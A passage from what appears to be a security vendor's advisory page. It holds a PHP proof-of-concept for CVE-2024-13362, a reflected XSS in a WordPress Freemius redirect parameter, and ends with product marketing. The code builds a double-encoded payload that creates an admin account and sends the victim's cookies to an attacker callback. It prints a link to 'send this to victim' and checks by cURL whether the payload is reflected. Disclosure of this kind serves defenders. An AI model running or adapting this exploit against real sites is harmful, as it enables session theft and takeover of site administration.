// We use double encoding to bypass potential filters, though the core issue is lack of escaping.
$payload = urlencode(urlencode("javascript:fetch('/wp-admin/admin-ajax.php?action=create_admin&user=attacker').then(r=>location='{$attacker_callback}?cookie='+document.cookie)"));

// Step 2: Build the exploit URL
// The vulnerable parameter is 'url' in the Freemius redirect/connect flow.
$exploit_url = $target_url . '/?freemius=connect&url=' . $payload;

// Step 3: Output the exploit URL for manual testing
echo "[+] Atomic Edge - CVE-2024-13362 PoCn";
echo "[+] Target: {$target_url}n";
echo "[+] Exploit URL (send this to victim):n";
echo $exploit_url . "nn";

// Optional: Send the request via cURL to verify the reflection
echo "[+] Sending request to check reflection...n";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] HTTP 200 OK - Response received.n";
    // Check if the payload is reflected (simplistic check)
    if (strpos($response, urldecode($payload)) !== false) {
        echo "[!] VULNERABLE: Payload reflected in response.n";
        echo "[!] The XSS will trigger when this link is clicked.n";
    } else {
        echo "[-] Payload not clearly reflected. Manual inspection required.n";
    }
} else {
    echo "[-] HTTP {$http_code} - Request failed or target not vulnerable.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School